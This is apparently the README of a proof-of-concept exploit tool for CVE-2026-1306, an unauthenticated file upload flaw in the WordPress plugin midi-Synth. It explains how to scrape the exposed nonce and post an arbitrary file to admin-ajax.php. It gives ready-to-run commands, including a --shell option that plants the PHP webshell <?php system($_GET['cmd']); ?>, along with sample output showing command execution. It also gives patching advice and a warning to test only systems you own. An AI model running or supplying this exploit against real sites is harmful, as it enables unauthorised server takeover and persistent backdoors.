
CVE-2026-1306에 대한 Python 개념 증명(PoC): midi-Synth nonce를 추출하고, export AJAX 액션을 통해 임의 파일을 업로드하며, PHP 웹셸을 통해 RCE를 검증합니다.
WordPress 플러그인 midi-Synth(버전 <= 1.1.0)의 치명적인 인증되지 않은 임의 파일 업로드 취약점인 CVE-2026-1306에 대한 개념 증명(PoC) 익스플로잇으로, 원격 코드 실행(RCE) 으로 이어질 수 있습니다.
CVE-2026-1306은 WordPress 플러그인 midi-Synth의 치명적인(CVSS 9.8) 무제한 파일 업로드 취약점입니다. 이 플러그인의 export AJAX 액션은 파일 유형과 확장자를 검증하지 않아, 인증되지 않은 공격자가 PHP 스크립트를 포함한 임의의 파일을 공개적으로 접근 가능한 디렉터리에 업로드할 수 있습니다.
유일한 전제 조건은 nonce이며, 플러그인이 프런트엔드 JavaScript에 이를 노출하기 때문에 인증되지 않은 방문자라면 누구나 손쉽게 획득할 수 있습니다.
이 저장소에는 다음과 같은 작업을 수행하는 Python 3 PoC가 포함되어 있습니다:
⚠️ 이것은 탐지 도구가 아닙니다. 익스플로잇에 성공하면 서버가 완전히 장악됩니다.
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2026-1306 |
| 취약점 유형 | 인증되지 않은 임의 파일 업로드 → RCE |
| CWE | CWE-434: 위험한 유형의 파일 무제한 업로드 |
| CVSS v3.1 점수 | 9.8 (치명적) |
| CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 공격 벡터 | 네트워크 |
| 필요 권한 | 없음 (인증되지 않음) |
| 사용자 상호작용 | 없음 |
| 영향 | 기밀성: 높음 · 무결성: 높음 · 가용성: 높음 |
| 영향받는 구성 요소 | admin-ajax.php의 export AJAX 액션 |
| 공급업체 | midi-Synth (WordPress 플러그인) |
| 패치된 버전 | 2.0.0 |
AV:N — 네트워크를 통해 원격으로 익스플로잇 가능AC:L — 특별한 조건 없음; nonce가 공개적으로 노출됨PR:N — 인증 불필요UI:N — 사용자 상호작용 불필요 (피싱 취약점과 달리)S:U — 범위 변경 없음C:H/I:H/A:H — 기밀성, 무결성, 가용성의 완전한 손실| 플러그인 | 영향받는 버전 | 수정된 버전 |
|---|---|---|
| midi-Synth | <= 1.1.0 | 2.0.0 |
⚠️ 즉시 버전 2.0.0 이상으로 업데이트하십시오. 이 취약점은 WordPress 보안 공급업체들이 적극적으로 추적하고 있으며 공개된 Nuclei 템플릿이 존재합니다.
플러그인의 export AJAX 핸들러(midiSynth.php 및 midiSynthConvert.php)는 다음을 검증하지 않고 파일 업로드를 처리합니다:
.php 파일이 허용됨핸들러는 fileName 및 fileMidi(base64로 인코딩된 콘텐츠) POST 파라미터를 사용합니다. 업로드 디렉터리(/wp-content/plugins/midi-synth/sound/)가 웹에서 접근 가능하고 일반적으로 플러그인 디렉터리에서 PHP 실행이 활성화되어 있기 때문에, 업로드된 PHP 파일은 서버에 의해 실행됩니다 .
플러그인은 export 액션에 대해 유효한 nonce를 요구합니다. 그러나 이 nonce는 매 페이지 로드 시 프론트엔드 JavaScript에 임베드되어 있습니다 :
var midiSynth_nonce = "a1b2c3d4e5";
인증되지 않은 모든 방문자(공격자 포함)는 단순한 GET 요청으로 이 값을 스크레이핑할 수 있습니다. 이 맥락에서 nonce는 어떤 보안 이점도 제공하지 않습니다.
이는 직접적이고 인증되지 않은 서버 침해입니다. 피해자의 상호작용이 필요하지 않습니다.
Attacker Target WordPress Server
│ │
│ 1. GET / │
│───────────────────────────────────────>│
│ │
│ 2. HTML response with nonce │
│<───────────────────────────────────────│
│ midiSynth_nonce = "abc123" │
│ │
│ 3. POST /wp-admin/admin-ajax.php │
│ action=export │
│ nonce=abc123 │
│ fileName=shell_x7k2.php │
│ fileMidi=<base64 PHP code> │
│───────────────────────────────────────>│
│ │
│ 4. File written to: │
│ /wp-content/plugins/ │
│ midi-synth/sound/shell_x7k2.php │
│<───────────────────────────────────────│
│ │
│ 5. GET /wp-content/.../shell_x7k2.php?cmd=id
│───────────────────────────────────────>│
│ │
│ 6. Command output (RCE) │
│<───────────────────────────────────────│
│ │
결과: 공격자는 서버에 지속적인 웹셸을 확보하고 임의의 시스템 명령을 실행할 수 있습니다.
requests 라이브러리종속성 설치:
pip install requests
git clone https://github.com/SecureNet-Dynamics/CVE-2026-1306.git
cd CVE-2026-1306
---
## 🚀 Usage
```bash
python3 CVE-2026-1306.py -t <TARGET_URL> [OPTIONS]
| Flag | Long Form | Description |
|---|---|---|
-t | --target | Required. Target WordPress base URL |
--check | — | Upload a test .txt file to verify vulnerability |
-f | --filename | Filename to upload (with -c for content) |
-c | --content | Content for the uploaded file (default: test string) |
--shell | — | Upload a PHP webshell for RCE |
-k | --insecure | Disable SSL certificate verification |
Uploads a harmless .txt file and verifies it's accessible.
python3 CVE-2026-1306.py -t http://target.com --check
Expected output (vulnerable):
[+] http://target.com에서 nonce 가져오는 중
[+] Nonce: a1b2c3d4e5
[+] 업로드 중: test_x7k2m9.txt
[✓] 파일 접근 가능: http://target.com/wp-content/plugins/midi-synth/sound/test_x7k2m9.txt
[+] 콘텐츠 미리보기: CVE-2026-1306 test
[!] 대상이 CVE-2026-1306에 취약함
Upload a specific file with custom content.
python3 CVE-2026-1306.py -t http://target.com -f proof.txt -c "authorized-testing"
Uploads a minimal PHP webshell (<?php system($_GET['cmd']); ?>) and provides the execution URL.
python3 CVE-2026-1306.py -t http://target.com --shell
Expected output:
[+] http://target.com에서 nonce 가져오는 중
[+] Nonce: a1b2c3d4e5
[+] 업로드 중: shell_x7k2m9.php
[✓] 웹셸 업로드됨: http://target.com/wp-content/plugins/midi-synth/sound/shell_x7k2m9.php
[+] 실행: http://target.com/wp-content/plugins/midi-synth/sound/shell_x7k2m9.php?cmd=whoami
[!] RCE 준비 완료: http://target.com/wp-content/plugins/midi-synth/sound/shell_x7k2m9.php?cmd=id
⚠️ The
--shellflag creates a persistent backdoor. Only use on systems you own and control, and remove the uploaded file immediately after testing.
# 기본 취약점 점검
python3 CVE-2026-1306.py -t http://target.com --check
# 자체 서명 인증서로 점검
python3 CVE-2026-1306.py -t https://target.local -k --check
# 사용자 지정 파일 업로드
python3 CVE-2026-1306.py -t http://target.com -f test.php -c '<?php echo "pwned"; ?>'
# RCE를 위한 웹셸 업로드
python3 CVE-2026-1306.py -t http://target.com --shell
The script performs a GET request to the target's homepage and uses a regex to extract the nonce:
match = re.search(r'var midiSynth_nonce\s*=\s*"([a-z0-9]+)"', resp.text)
This works because the plugin embeds the nonce in frontend JavaScript on every page load, with no authentication or access control .
The script sends a POST to /wp-admin/admin-ajax.php with:
| Parameter | Value |
|---|---|
action | export |
nonce | Extracted nonce |
fileName | Attacker-controlled filename (e.g., shell_abc123.php) |
fileMidi | Base64-encoded file content |